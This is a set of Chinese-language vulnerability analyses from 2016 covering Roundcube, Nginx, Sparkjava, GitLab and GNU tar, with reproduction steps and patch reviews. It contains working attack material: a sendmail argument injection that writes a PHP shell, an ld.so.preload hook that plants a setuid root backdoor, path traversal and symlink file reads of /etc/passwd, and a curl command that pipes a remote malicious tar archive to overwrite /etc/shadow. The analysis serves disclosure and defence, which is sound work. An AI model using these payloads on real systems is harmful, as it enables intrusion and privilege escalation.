-
Roundcube 1.2.2 远程命令执行漏洞 漏洞分析
Author: p0wd3r, LG (知道创宇404安全实验室) Date: 2016-12-08
0x00 漏洞概述
1.漏洞简介
著名的PHP代码审计工具 RIPS 于12月6日发布了一份针对 Roundcube的扫描报告,报告中提到了一个远程命令执行漏洞,利用该漏洞攻击者可以在授权状态下执行任意代码。官方已发布升级公告。
2.漏洞影响
触发漏洞需满足以下几个前提:
- Roundcube 使用 PHP 的 mail 来发送邮件,而不通过其他 SMTP Server
- PHP 的 mail 使用 sendmail 来发送邮件(默认)
- PHP 的 safe_mode 是关闭的(默认)
- 攻击者需要知道 Web 应用的绝对路径
- 攻击者可以登录到 Roundcube 并可以发送邮件
成功攻击后攻击者可远程执行任意代码。
3.影响版本
1.1.x < 1.1.7
1.2.x < 1.2.3
0x01 漏洞复现
1. 环境搭建
Dockerfile:
12FROM analogic/poste.ioRUN apt-get update && apt-get install -y sendmail然后执行:
123456789101112docker build -t webmail-test .mkdir /tmp/datadocker run -p 25:25 -p 127.0.0.1:8080:80 -p 443:443 -p 110:110 -p 143:143 -p 465:465 -p 587:587 -p 993:993 -p 995:995 -v /etc/localtime:/etc/localtime:ro -v /tmp/data:/data --name webmail --hostname xxx.xxx -t webmail-testdocker cp webmail:/opt/www/webmail/config/config.inc.php /tmp/config.inc.phpvim /tmp/config.inc.php将 $config['smtp_server'] 置为空docker cp /tmp/config.inc.php webmail:/opt/www/webmail/config/config.inc.php然后访问
http://127.0.0.1:8080
按步骤安装即可.2.漏洞分析
首先看
program/steps/mail/sendmail.inc
第95-114行:12345678910111213// Get sender name and address...$from = rcube_utils::get_input_value('_from', rcube_utils::INPUT_POST, true, $message_charset);// ... from identity...if (is_numeric($from)) {...}// ... if there is no identity record, this might be a custom fromelse if ($from_string = rcmail_email_input_format($from)) {if (preg_match('/(\S+@\S+)/', $from_string, $m))$from = trim($m[1], '<>');else$from = null;}这里取
$_POST
中的_from
赋值给$from
,如果$from
不是数字就交给rcmail_email_input_format
处理,处理后如果返回非空则再过滤$from
,使其满足正常 email 的形式。我们看一下
rcmail_email_input_format
,在program/steps/mail/sendmail.inc
第839-896行:12345678910111213141516171819202122232425262728293031323334353637383940function rcmail_email_input_format($mailto, $count=false, $check=true){global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT;// simplified email regexp, supporting quoted local part$email_regexp = '(\S+|("[^"]+"))@\S+';$delim = trim($RCMAIL->config->get('recipients_separator', ','));$regexp = array("/[,;$delim]\s*[\r\n]+/", '/[\r\n]+/', "/[,;$delim]\s*\$/m", '/;/', '/(\S{1})(<'.$email_regexp.'>)/U');$replace = array($delim.' ', ', ', '', $delim, '\\1 \\2');// replace new lines and strip ending ', ', make address input more valid$mailto = trim(preg_replace($regexp, $replace, $mailto));$items = rcube_utils::explode_quoted_string($delim, $mailto);$result = array();foreach ($items as $item) {$item = trim($item);// address in brackets without name (do nothing)if (preg_match('/^<'.$email_regexp.'>$/', $item)) {...}// address without brackets and without name (add brackets)else if (preg_match('/^'.$email_regexp.'$/', $item)) {...}// address with name (handle name)else if (preg_match('/<*'.$email_regexp.'>*$/', $item, $matches)) {...}else if (trim($item)) {continue;}...}...return implode(', ', $result);}foreach
中的正则仅匹配正常的from
格式,即xxx@xxx
,如果匹配不到则continue
,所以如果我们提交xxx@xxx -a -b
这样的“空格 + 数据”,函数最终并没有对其进行改变,返回的$result
也就是空了,进而执行完函数后不会再对$from
进行过滤。接下来在
program/steps/mail/sendmail.inc
第528行:1$sent = $RCMAIL->deliver_message($MAIL_MIME, $from, $mailto, $smtp_error, $mailbody_file, $smtp_opts);$from
被传入了deliver_message
中,在program/lib/Roundcube/rcube.php
第1524-1678行:123456789101112131415161718public function deliver_message(&$message, $from, $mailto, &$error, &$body_file = null, $options = null){// send thru SMTP server using custom SMTP libraryif ($this->config->get('smtp_server')) {...}// send mail using PHP's mail() functionelse {...if (filter_var(ini_get('safe_mode'), FILTER_VALIDATE_BOOLEAN))$sent = mail($to, $subject, $msg_body, $header_str);else$sent = mail($to, $subject, $msg_body, $header_str, "-f$from");}}...}可以看到当我们使用PHP的
mail
函数来发送邮件时$from
会被拼接到mail
的第五个参数中,这个参数的用处如下:意思就是PHP的
mail
默认使用/usr/sbin/sendmail
发送邮件(可在php.ini中设置),mail
的第五个参数就是设置sendmail
的额外参数。sendmail
有一个-X
参数,该参数将邮件流量记录在指定文件中:所以到这里攻击思路如下:
- 构造邮件内容为想要执行的代码
- 点击发送时抓包更改
_from
sendmail
将流量记录到 php 文件中
实际操作一下:
点击发送,截包修改:
其中将
_from
改成:example@example.com -OQueueDirectory=/tmp -X/path/rce.php
,其中-X
后的路径需根据具体服务器情况来设置,默认 Roundcube 根目录下temp/
、logs/
是可写的。然后将_subject
改成我们想要执行的代码,这里是<?php phpinfo();?>
。请求有可能会超时,但是并不影响文件的写入。
发送过后触发漏洞:
3.补丁分析
使用
escapeshellarg
让$from
被解析为参数值。0x02 修复方案
升级程序:https://roundcube.net/news/2016/11/28/updates-1.2.3-and-1.1.7-released
0x03 参考
- Roundcube 扫描报告:
https://blog.ripstech.com/2016/roundcube-command-execution-via-email/
- PHP 的 mail 函数:
没有评论 -
Nginx权限提升漏洞(CVE-2016-1247) 分析
Author:xd0ol1(知道创宇404实验室) data:2016-11-17
0x00 漏洞概述
1.漏洞简介
11月15日,国外安全研究员 Dawid Golunski 公开了一个新的Nginx漏洞(CVE-2016-1247),能够影响基于 Debian 系列的发行版,Nginx 作为目前主流的一个多用途服务器,因而其危害还是比较严重的,官方对此漏洞已经进行了修复。
2.漏洞影响
Nginx服务在创建log目录时使用了不安全的权限设置,可造成本地权限提升,恶意攻击者能够借此实现从 nginx/web 的用户权限 www-data 到 root 用户权限的提升。
3.影响版本
下述版本之前均存在此漏洞:
Debian: Nginx1.6.2-5+deb8u3
Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
Ubuntu 16.10: Nginx1.10.1-0ubuntu1.10x01 漏洞复现
1.环境搭建
测试环境:Ubuntu 14.04: Nginx1.4.6-1ubuntu3
PoC详见如下链接,给出的 nginxed-root.sh 脚本在其中的第V部分:
https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html2.漏洞触发
恶意者可通过软链接任意文件来替换日志文件,从而实现提权以获取服务器的 root 权限,执行 PoC 后结果如下图:
提示要等待,但我们可以通过如下命令进行触发:
1/usr/sbin/logrotate -vf /etc/logrotate.d/nginx提权后的结果如下:
3.漏洞利用分析
一般来说,如果想要修改函数的功能,最直接的就是对其源码进行更改,但很多情况下我们是无法达成此目标的,这时就可以借助一些hook操作来改变程序的流程,从而实现对函数的修改。在 Linux 系统下,我们可以通过编译一个含相同函数定义的 so 文件并借助/etc/ld.so.preload文件来完成此操作,系统的 loader 代码中会检查是否存在/etc/ld.so.preload 文件,如果存在那么就会加载其中列出的所有 so 文件,它能够实现与 LD_PRELOAD 环境变量相同的功能且限制更少,以此来调用我们定义的函数而非原函数。此方法适用于用户空间的so文件劫持,类似于 Windows 下的 DLL 劫持技术。更进一步,如果我们将此技巧与含有suid的文件结合起来,那么就可以很自然的实现提权操作了,所给的 PoC 就是利用的这个技巧。
关于 hook 操作,简单来看就是如下的一个执行流程:
在 PoC 利用中与此相关的 C 代码如下所示,如果将其编译成so文件并把路径写入到/etc/ld.so.preload文件的话,那么可以实现对 geteuid()函数的 hook,在 hook 调用中就能执行我们想要的恶意操作。
1234567891011121314151617181920212223#define _GNU_SOURCE#include <stdio.h>#include <sys/stat.h>#include <unistd.h>#include <dlfcn.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>/*hook原geteuid()函数*/uid_t geteuid(void) {//定义函数指针变量static uid_t (*old_geteuid)();//返回原geteuid()函数的指针old_geteuid = dlsym(RTLD_NEXT, "geteuid");//在调用原geteuid()函数的同时执行想要的恶意操作if ( old_geteuid() == 0 ) {chown("$BACKDOORPATH", 0, 0);chmod("$BACKDOORPATH", 04777);unlink("/etc/ld.so.preload");}return old_geteuid();}我们可以将上述代码编译后来做个简单的测试,结果如下图,观察 nginxrootsh 文件前后属性的变化以及/etc/ld.so.preload文件存在与否可以判断我们的恶意操作是否执行了,很显然 hook 是成功的,和 PoC 相同这里也是通过sudo来触发hook调用。
接下来我们考虑下如何将内容写进/etc/ld.so.preload文件,也就是本次漏洞的所在,Nginx 在配置 log 文件时采用的不安全权限设置使得我们能很容易的实现此目的,从而实现 www-data 到 root 的权限提升。为了看的更清楚,我们首先将目录/var/log/nginx/下的文件全部删除,再重启下 nginx 服务,最后执行如下两条命令:
12$ curl http://localhost/ >/dev/null 2>/dev/null$ /usr/sbin/logrotate -vf /etc/logrotate.d/nginx此时得到的结果如下图所示:
可以看到 error.log 文件的属性为:
1-rw-r--r-- 1 www-data root 0 Nov 18 14:49 error.log将其软链接到/etc/ld.so.preload 文件就可以了,这里为了简单测试,我们将其软链接到/etc/xxxxxxxxxx,同样需要上述那两条触发命令。从上图中我们看到了成功结果,此时 www-data 用户是可以对/etc/xxxxxxxxxx文件进行写操作的。
至此,我们将这些点结合起来就可以实现对此漏洞的利用了。
0x02 修复方案
Nginx官方已经修复,用户应尽快更新至最新版本。
详细信息:
Debian 系统
https://www.debian.org/security/2016/dsa-3701
https://security-tracker.debian.org/tracker/CVE-2016-1247
Ubuntu 系统
0x03 参考
https://www.seebug.org/vuldb/ssvid-92538
https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
https://minipli.wordpress.com/2009/07/17/ld_preload-vs-etcld-so-preload/
http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/ -
Sparkjava Framework 文件遍历漏洞(CVE-2016-9177)分析与探究
Author:dawu(知道创宇404实验室) data:2016-11-16
0x00 漏洞概述
1.漏洞简介
Sparkjava是一款小型的web框架,它能够让你以很少的代码构建出一个java web应用。近日,某国外安全研究人员发现其存在文件遍历漏洞,可以通过该漏洞读取任意文件内容。在对这个漏洞进行复现与分析的时候,我们又发现了一些可能可以利用的地方,但是利用条件更加苛刻。
2.漏洞影响
Sparkjava版本 < 2.5.2
0x01 漏洞复现
1.验证环境
Jdk-1.8.111 Apache maven 3.3.9 在写好Sparkjava代码后,在文件所在目录打开命令行,运行mvn package进行编译打包。
2.漏洞复现
根据官网给出的示例,我们写了一个简单的函数去复现这个漏洞:
123456789public class Hello {public static void main(String[] args) {staticFiles.externalLocation(“/tmp”);get("/", (req, res) -> {return "hello from sparkjava.com";});}}pom.xml的配置为
xml <dependency> <groupId>com.sparkjava</groupId> <artifactId>spark-core</artifactId> <version>2.5</version> </dependency>
这里提供已经打包好的jar文件供大家下载。可以用如下命令运行:bash java -jar sparkexample-jar-with-dependencies.jar
我们可以通过(..\)来改变路径从而读取任意文件。如图,我们读取到/etc/passwd:在漏洞发现者的描述中,Spark.staticFileLocation()和Spark.externalStaticFileLocation()这两个函数都存在这个问题。经过开发者测试,在IDE中运行时,两个函数都可以复现这个漏洞;运行打包好的jar包时,只有Spark.externalStaticFileLocation()这个函数可以触发漏洞。
0x02 补丁分析与深入研究
1.补丁分析
很明显,在漏洞被发现时,官方没有对url中的路径做任何处理。在漏洞被修补之后,官方推出了新的版本2.5.2。这里我们对比之前的版本,并且通过调试,尝试分析官方的修补方案。 官方修补链接(https://github.com/perwendel/spark/commit/efcb46c710e3f56805b9257a63d1306882f4faf9) 当我们正常请求时:
bash curl "127.0.0.1:4567/l.txt"
跟到关键代码处,我们可以看到在判断文件是否存在之后,官方添加了DirectoryTraversal.protectAgainstInClassPath(resource.getPath());
进行判断。这里,path就是我们HTTP请求的地址,
addedPath
就是我们通过staticFiles.externalLocation()
函数设置的路径与path拼接之后的值,resource
中的file
的值就是addedPath
值经过路径的处理的值(例如:/tmp/test/..\l.txt
先将所有的\
换成/
,再对路径进行处理,最后结果为/tmp/l.txt
),resource.getPath()
就是addedPath
的值。在
protectAgainstInClassPath()
函数中,需要判断removeLeadingAndTrailingSlashesFrom(path).startsWith(StaticFilesFolder.external())
是否为false
,为false
就抛出。removeLeadingAndTrailingSlashesFrom(path)
为新添加的函数,作用是将path首尾的/
去掉和将尾部的\
去掉。在这里经过处理之后,path
的值为tmp/l.txt
。StaticFilesFolder.external()
则是返回external的值,在这里就是tmp。如果removeLeadingAndTrailingSlashesFrom(path)
前面的字母是tmp
,则进入下一步。综上所述,官方通过比较经过处理后的路径的开头和我们设置的externalLocation()的路径是否相同来防止我们利用
..\
读取任意文件。2.深入探究
我们修改了pom.xml,使用新的Sparkjava版本进行编译尝试,做了如下探究。
xml <dependency> <groupId>com.sparkjava</groupId> <artifactId>spark-core</artifactId> <version>2.5.2</version> </dependency>
①软链接的利用
与Sparkjava(CVE-2016-9177)同时爆出来的一个漏洞GitLab的任意文件读取(CVE-2016-9086)是利用软链接的特性,我们就顺手测试了软链接在Sparkjava下的利用。 直接读取文件:
怎么才能利用软链接呢?这里的利用条件比较苛刻。笔者想到了两种途径: 1.网站允许上传压缩包,上传后解压并且还能访问到解压后的文件才能利用 2.网站通过wget(wget配置文件中需要retr-symlinks=on)从ftp上下载文件并且能够访问到下载的文件。
②再次读取文件
再访问
读取到了tmp.txt和tmp2.txt的内容。 我们分析一下能够再次读取的原因,当我们请求为:
bash curl “127.0.0.1:4567/tmp\..\..\tmp.txt”
分析过滤代码处:addedPath
的值为/tmp/tmp/..\..\tmp.txt
,经过处理后resource中的file值为/tmp.txt
,对于下面的函数removeLeadingAndTrailingSlashesFrom(path).startsWith(StaticFilesFolder.external())
,由于tmp.txt
也是由tmp
开头,所以判断可以通过,进而读取到tmp.txt
。同样的道理,我们也可以读取到
/tmp2/test.txt
的内容。通过以上分析,笔者认为这个读取很鸡肋,首先staticFiles.externalLocation()中定义的路径只能是一级路径,其次我们要读取的文件的完整路径开头必须和staticFiles.externalLocation()中定义的路径相同。这就限制了这个新的读取,也许只有在某些特定的场合才能有奇效。
如有错误,欢迎指正:)
0x03 参考链接
1.https://www.seebug.org/vuldb/ssvid-92517 2.http://seclists.org/fulldisclosure/2016/Nov/133.https://github.com/perwendel/spark/commit/efcb46c710e3f56805b9257a63d1306882f4faf94.https://github.com/perwendel/spark/issues/700 5.http://sparkjava.com/documentation.html
-
GitLab 任意文件读取漏洞 (CVE-2016-9086) 和任意用户 token 泄露漏洞 分析
Author:dawu,LG(知道创宇404安全实验室) Data:2016-10-09
0x00 漏洞概述
1.漏洞简介
GitLab 是一个利用Ruby on Rails开发的开源应用程序,实现一个自托管的Git项目仓库,可通过Web界面进行访问公开的或者私人项目。近日研究者发现在其多个版本中存在文件读取漏洞(CVE-2016-9086) 和 任意用户authentication_token泄漏漏洞,攻击者可以通过这两个漏洞来获取管理员的权限,进而控制所有gitlab项目。
2.漏洞影响
- 任意文件读取漏洞(CVE-2016-9086):
GitLab CE/EEversions 8.9, 8.10, 8.11, 8.12, and 8.13 - 任意用户authentication_token泄露漏洞:
Gitlab CE/EE versions 8.10.3-8.10.5
0x01 漏洞复现
1.环境搭建
1234sudo apt-get install curl openssh-server ca-certificates postfixcurl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb.sh | sudo bashsudo apt-get install gitlab-ce=8.10.3-ce.1sudo gitlab-ctl reconfigure这里使用8.10.3版本是为了任意用户authentication_token泄露漏洞的复现。
安装完成后,访问服务器80端口即可看到GitLab登录页面。
注:8.9.0-8.13.0版本的GitLab的项目导入功能需要管理员开启,8.13.0版本之后所有用户都可以使用导入功能。管理员可以访问http://domain/admin/application_settings 开启,开启之后用任意用户新建项目的时候,可以在import project from一项中看到gitlab export。
2.漏洞分析
任意文件读取漏洞(CVE-2016-9086)
从
8.9.0
版本开始,GitLab
新增了导入导出项目的功能。
一个空的gitlab
项目导出后结构如下:其中
VERSION
文件内容为GitLab的导出模块的版本,project.json
则包含了项目的配置文件。当我们导入GitLab的导出文件的时候,GitLab会按照如下步骤处理: 1.服务器根据
VERSION
文件内容检测导出文件版本,如果版本符合,则导入。
2.服务器根据Project.json
文件创建一个新的项目,并将对应的项目文件拷贝到服务器上对应的位置。检测
VERSION
文件的代码位于:/lib/gitlab/import_export/version_checker.rb
中:1234567891011121314151617...def check!version = File.open(version_file, &:readline)verify_version!(version)rescue => eshared.error(e)falseend...def verify_version!(version)if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version)raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}")elsetrueendend...我们可以看到这里的逻辑是读取
VERSION
文件的第一行赋值给变量version
,然后检测verison
与当前版本是否相同,相同返回true
,不相同则返回错误信息(错误信息中包括变量version
的值). 于是漏洞发现者Jobert Abma
巧妙的使用了软链接来达到读取任意文件的目的。首先,我们给VERSION
文件加上软链接并重新打包。12ln -sf /etc/passwd VERSIONtar zcf change_version.tar.gz ./这样,读取
VERSION
文件的时候服务器就会根据软链接读取到/etc/passwd
的第一行内容并赋值给version
。但是由于version
与当前版本不相同,所以会输出version
的值,也就是/etc/passwd
第一行的内容。访问之前搭建好的GitLab服务器,创建一个新的项目,填写完项目名称后在
Import project from
一栏中选择GitLab export
,上传我们修改后的导入包,然后就可以看到/etc/passwd
文件第一行但是,如果只读取任意文件的第一行,能做的事情还是太少了。漏洞发现者显然不满足这一结果,他继续找了下去.
读取Project.json
这一配置文件的代码位于:/lib/gitlab/import_export/project_tree_restorer.rb
中:1234567891011121314...def restorejson = IO.read(@path)tree_hash = ActiveSupport::JSON.decode(json)project_members = tree_hash.delete('project_members')ActiveRecord::Base.no_touching docreate_relationsendrescue => eshared.error(e)falseend...在这里,我们可以再次使用软链接使变量
json
获取到任意文件的内容,但是由于获取的文件不是json
格式,无法decode
,导致异常抛出,最终在前端显示出任意文件的内容。 添加软链接并打包:12ln -sf /etc/passwd project.jsontar zcf change_version.tar.gz ./上传导出包,页面上显示的结果:
任意用户authentication_token泄露漏洞
复现步骤为:
1.注册一个普通用户,创建一个新的项目
2.在项目的member
选项中,添加管理员到项目中。3.点击
edit project
,找到Export project
部分,点击Export project
,等待几分钟去查看注册邮箱收到的下载地址或者刷新页面,点击Download export
下载导出包。4.导出包的
project.json
中已经含有了管理员的authentication_token
。得到
authentication_token
之后我们就可以通过api
做管理员可以做的事情了,比如查看管理员所在的项目:分析原因:
我们在
\app\controllers\projects_controller.rb
中找到了export
函数,这个函数被用来导出项目文件。12345678def export@project.add_export_job(current_user: current_user)redirect_to(edit_project_path(@project),notice: "Project export started. A download link will be sent by email.")end往下跟
add_export_job()
,在\app\models\project.rb
中:123456789def add_export_job(current_user:)job_id = ProjectExportWorker.perform_async(current_user.id, self.id)if job_idRails.logger.info "Export job started for project ID #{self.id} with job ID #{job_id}"elseRails.logger.error "Export job failed to start for project ID #{self.id}"endend继续到
\app\workers\project_export_worker.rb
文件的ProjectExportWorker.perform_async()
:123456789101112class ProjectExportWorkerinclude Sidekiq::Workersidekiq_options queue: :gitlab_shell, retry: 3def perform(current_user_id, project_id)current_user = User.find(current_user_id)project = Project.find(project_id)::Projects::ImportExport::ExportService.new(project, current_user).executeendend这里我们可以看到
current
获取的是User.find(current_user_id)
的内容,然后调用::Projects::ImportExport::ExportService.new(project, current_user).execute
由于笔者之前没有接触过ruby,这里只好采用gitlab-rails console
来找到User.find()
的值。可以看到,在User.find()
中,存在authentication_token
的值。跟到
\app\services\project\import_export\export_service.rb
,这里执行version_saver, avatar_saver, project_tree_saver, uploads_saver, repo_saver, wiki_repo_saver
这五个函数来写各种导出文件,其中project_tree_saver()
负责导出project.json
123456789101112131415161718192021222324module Projectsmodule ImportExportclass ExportService < BaseServicedef execute(_options = {})@shared = Gitlab::ImportExport::Shared.new(relative_path: File.join(project.path_with_namespace, 'work'))save_allendprivatedef save_allif [version_saver, avatar_saver, project_tree_saver, uploads_saver, repo_saver, wiki_repo_saver].all?(&:save)Gitlab::ImportExport::Saver.save(project: project, shared: @shared)notify_successelsecleanup_and_notifyendenddef version_saver...endendend跳过之后的几个繁琐的调用之后,执行了
lib/gitlab/import_export/json_hash_builder.rb
中的create_model_value
函数。123456789101112131415161718192021# Constructs a new hash that will hold the configuration for that particular object# It may include exceptions or other attribute detail configuration, parsed by +@attributes_finder+## +current_key+ main model that will be a key in the hash# +value+ existing model to be included in the hash# +json_config_hash+ the original hash containing the root modeldef create_model_value(current_key, value, json_config_hash)parsed_hash = { include: value }parse_hash(value, parsed_hash)json_config_hash[current_key] = parsed_hashend# Calls attributes finder to parse the hash and add any attributes to it## +value+ existing model to be included in the hash# +parsed_hash+ the original hashdef parse_hash(value, parsed_hash)@attributes_finder.parse(value) do |hash|parsed_hash = { include: hash_or_merge(value, hash) }endend这里出现了逻辑问题,由于
parsed_hash
这个变量不是全局变量,所以create_model_value()
中执行parse_hash()
时,parse_hash()
中的parsed_hash
被改变,但是create_model_value()
函数中的parsed_hash
不会变,这就造成了parse_hash()
这个函数执行后create_model_value()
中parsed_hash
这个值并没有改变。因此最后导出的文件包含了authentication_token
。我们在
gitlab-rails console
里展示了这两者的区别。当value=user
的时候,parsed_hash={:include=>:user}
,输出的结果如同图中的user.as_json()
,会将所有内容输出,包括authentication_token
。当parsed_hash
为经过parse_hash()
处理后的{:include=>{:user=>{:only=>[:id, :email, :username]}}}
时,输出结果与user.as_json(only: [:id, :email, :username])
相同。后续RCE方式的探讨
在hackone的两个报告中,漏洞发现者都提到了
leads to RCE
,笔者尝试去实现这一点。由于GitLab
源码在gitlab.com
上,所以当获取了GitLab
的管理员权限后,我们可以通过authentication_token
修改GitLab
项目的源码,留下自己的后门。 为了重现这种情况,我们在本地新建一个新的项目去通过authentication_token
和GitLab api
来修改项目文件。用
root
账户创建一个项目:test_rce
,其中README.md
的内容为created by root
接下来,我们要用
gitlab
的api
来修改它。首先,根据projects的api
找到test_rce
项目对应的id
,这里是181curl -H "PRIVATE-TOKEN: wTPMMapDwpfkKfNws7xp" "http://domain/api/v3/projects"我们再根据
api
读取一下文件1curl -H "PRIVATE-TOKEN: wTPMMapDwpfkKfNws7xp" "http://domain/api/v3/projects/18/repository/files?file_path=README.md&ref=master"这里,
content
为Y3JlYXRlZCBieSByb290
,这是文件内容被base64
加密后的结果,解密一下就可以看到created by root
根据
api
的要求,我们通过PUT
数据来修改文件,将README.md
修改为change by notroot
。 当我们再读一次,content
内容为:Y2hhbmdlIGJ5IG5vdHJvb3Q=
,解码之后就是change by notroot
不得不说,笔者所实现的这种方式攻击时间跨度很长,能否执行命令取决于开发者下一次更新的时间,这也是这种方法的缺点之一。
0x02 官方修复分析
任意文件读取漏洞(CVE-2016-9086)修复分析
我们可以看到,官方先移除了导入包里的软连接,其次,读取
VERSION
的内容和project.json
的内容出错后将内容输出到日志里而非返回到前端。任意用户authentication_token泄露漏洞修复分析
官方让
json_config_hash[current_key]
获取到parse_hash()
处理后的值。0x03 参考
- https://www.seebug.org/vuldb/ssvid-92529
- https://www.seebug.org/vuldb/ssvid-92516
- https://hackerone.com/reports/178152
- https://hackerone.com/reports/158330
- https://github.com/gitlabhq/gitlabhq/commit/912e1ff4284eb39fe020b8e823085a2cb7f244fb
- https://github.com/gitlabhq/gitlabhq/commit/4389f09e668c043c8a347c4c63f06795110dfbb3#diff-b10a896b29121489e3b2fb396bc53d8a
- https://gitlab.com/gitlab-org/gitlab-ce/issues/20802
- https://gitlab.com/help/user/project/settings/import_export.md
- https://docs.gitlab.com/ce/api/
- 任意文件读取漏洞(CVE-2016-9086):
-
GNU tar 解压路径绕过漏洞(CVE-2016-6321) 分析
Author: LG(知道创宇404安全实验室) Date: 2016-11-09
0x00 漏洞概述
1.漏洞简介
GNU tar文档管理命令是Linux系统下常用的一个打包、压缩的命令。经 CSS(FSC1V Cyber Security Services)团队的研究员 Harry Sintonen 研究发现,tar 命令在提取路径时能够被绕过,在某些情况下导致文件被覆盖。在一些特定的场景下,利用此漏洞可导致远程代码执行。
2.漏洞影响
受害者使用tar命令解压由攻击者构造的特殊 tar 包时,tar 包不会解压到受害者制定的目标路径,而是被解压到攻击者指定的目录位置。
3.影响范围
从GNU tar 1.14 to 1.29 (包含1.29) 影响包括 Red Hat,Alphine Linux,Red Star OS以及其他所有使用 GNU tar 的 Linux 系统。
0x01 漏洞详情
1. 漏洞检测
方法一:
漏洞发现者给出了示例 PoC,用户可用其自检。 (该方法会覆盖用户帐号密码,导致 root 用户密码为空,建议使用实验环境测试或者采用方法二)
12curl https://sintonen.fi/advisories/tar-poc.tar | tar xv etc/motdcat etc/shadow示例poc:
示例poc中含有一个文件shadow,路径为
etc/motd/../etc/shadow
。在根目录下解压该包,由于漏洞的影响,../
前面的内容给去掉了,路径文件名只剩下etc/shadow
,原有etc/shadow
文件就被其覆盖了。方法二:
访问https://sintonen.fi/advisories/tar-poc.tar下载测试tar包后在提取前重命名 tar 包内的 shadow 文件名,如重命名为 test。然后运行如下命令:
1sudo -s tar -C / -xvf tar-poc.tar etc/motd查看 etc 目录下,若生成了 test 文件,证明该漏洞存在。
2.具体攻击场景
以下为漏洞发现者提供的实际攻击场景
1.攻击者可以用这种手段诱使用户替换一些重要的文件,例如
.ssh/authorized_keys
,.bashrc
,.bash_logout
,.profile
,.subversion
或.anyconnect
123456user@host:~$ dpkg --fsys-tarfile evil.deb | tar -xf - \--wildcards 'blurf*'tar: Removing leading `blurf/../' from member namesuser@host:~$ cat .ssh/authorized_keysssh-rsa AAAAB3...nU= mrrobot@fsocietyuser@host:~$2.有一些从 web 应用或者其它类似来源自动解压文件的脚本,这些脚本一般会以 setuid root 权限执行,通常这类脚本的解压命令如下:
1#tar -C / -zxf /tmp/tmp.tgz etc/application var/chroot/application/etc在这种情况下,攻击者可以重写
/var/spoon/cron/crontabs/root
以获取 root 身份的代码执行能力; 也可以将可能被 root 身份执行的二进制文件替换成一个有后门的版本; 或者投放一个 setuid root 的二进制文件,等待被管理员执行,使攻击者有机会获取 root 权限。3.以 root 身份执行解压命令也可能被攻击 。例如上文中提到覆写
/etc/shadow
的例子如果--exclude 规则与--anchored 选项同时使用,那么即使手动加了--exclude 规则也没有用,例如:
1tar -C / -xvf tar-poc.tar --anchored --exclude etc/shadow在两种情况下,攻击者都成功地把/etc/test替换成了任意内容。
不过,在实际利用这个漏洞时,攻击者需要首先知道一些特定的前导信息,例如解压命令执行时实际在命令行下指定的路径名,毕竟在构造攻击 tar 包时 “../” 序列之前的路径前缀需要符合 tar 命令中所输入的路径,攻击才能奏效。
3.漏洞分析
根据漏洞发现者的分析,在
lib/paxnames.c
文件中,有一个safernamesuffix()
函数,这个函数取代了1.13版本的检查机制。12345678910111213141516171819202122232425262728293031323334353637383940....char *safer_name_suffix (char const *file_name, bool link_target,bool absolute_names){char const *p;if (absolute_names)p = file_name;else{/* Skip file system prefixes, leading file name components that contain"..", and leading slashes. */size_t prefix_len = FILE_SYSTEM_PREFIX_LEN (file_name);for (p = file_name + prefix_len; *p; ){if (p[0] == '.' && p[1] == '.' && (ISSLASH (p[2]) || !p[2]))prefix_len = p + 2 - file_name;do{char c = *p++;if (ISSLASH (c))break;}while (*p);}for (p = file_name + prefix_len; ISSLASH (*p); p++)continue;prefix_len = p - file_name;if (prefix_len){const char *prefix;if (hash_string_insert_prefix (&prefix_table[link_target], file_name,prefix_len, &prefix)){static char const *const diagnostic[] ={N_("Removing leading `%s' from member names"),N_("Removing leading `%s' from hard link targets")};WARN ((0, 0, _(diagnostic[link_target]), prefix));}}}….}从代码注释可以看出,如果
absolute_names
变量为1,将 filename 赋值给 p 继续.反之若为 0 则将文件名中文件系统的前缀给去掉,并且也会对 filename 进行一些安全检查 。 因此,当 tar 解包时若文件名中包含“../”, safernamesuffix 函数会删除"../"及其之前的部分,将其与解压目录路径变为相对关系。这么做的目的是在兼顾文件名的安全性时保证文件的提取,而不是之前版本中改动的跳过含有恶意文件名的文件。在经过长达13年的应用后,这个漏洞终于被 Harry Sintonen 发现并公布出来。于是,笔者研究了这个漏洞相关的发展历史。 tar所有版本下载链接 发现:
- tar通过 src/extarct.c 提取文件
- extract.c Revision 1.35 前未加入安全检测,可以通过“../”字符串直接绕过解压路径问题,并将文件写到任意位置
- extract.c Revision 1.35 加入安全检测,会警告压缩文件文件名中存在“..”字符串,并且会跳过不去处理这些文件
- extract.c Revision 1.47引入 safernamesuffix 函数 - tar 1.16版本后,extract.c文件代码重构,在lib/paxnames.c 文件中定义 safernamesuffix 函数
然后笔者继续深入,通过tar官网extract.c文件更新列表对比,从源代码分析 tar 的安全检测行为。
1999/12/13 commit 前后对比
Revision 1.35官方tag中有一条: ++(extractarchive): By default, warn about ".." in member names, and skip them.++ 即Revision 1.35加入了(extractarchive):默认情况下,在成员名称中警告“..”,并跳过它们
上图中,绿色代码区的功能就填补了之前安全检测的空白。它首先遍历 CURRENTFILENAME,如果存在".."就会警告"Member name contains'..'",然后跳过这些文件,不去处理它们。而左边的灰色空白区域表明之前的版本缺少安全检测,"../"字符串就能绕过解压路径将文件写到任意位置。
2003/07/05 commit 前后对比
在Revision 1.47官方 tag 中: ++(extractarchive): Use safername_suffix rather than rolling our own.++ 这就是漏洞初始出现的位置了。
通过代码对比我们可以看到,更新的版本使用 safernamesuffix 函数来替代了开发者自己写的规则。
4.补丁分析
官方补丁地址 GNU tar修复了该漏洞,将安全检测机制重新替换回了 extract.c Revision 1.35的规则。
0x02 修复方案
更新补丁
http://git.savannah.gnu.org/cgit/tar.git/commit/?id=7340f67b9860ea0531c1450e5aa261c50f67165d
0x03 参考
https://www.seebug.org/vuldb/ssvid-92524
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=842339
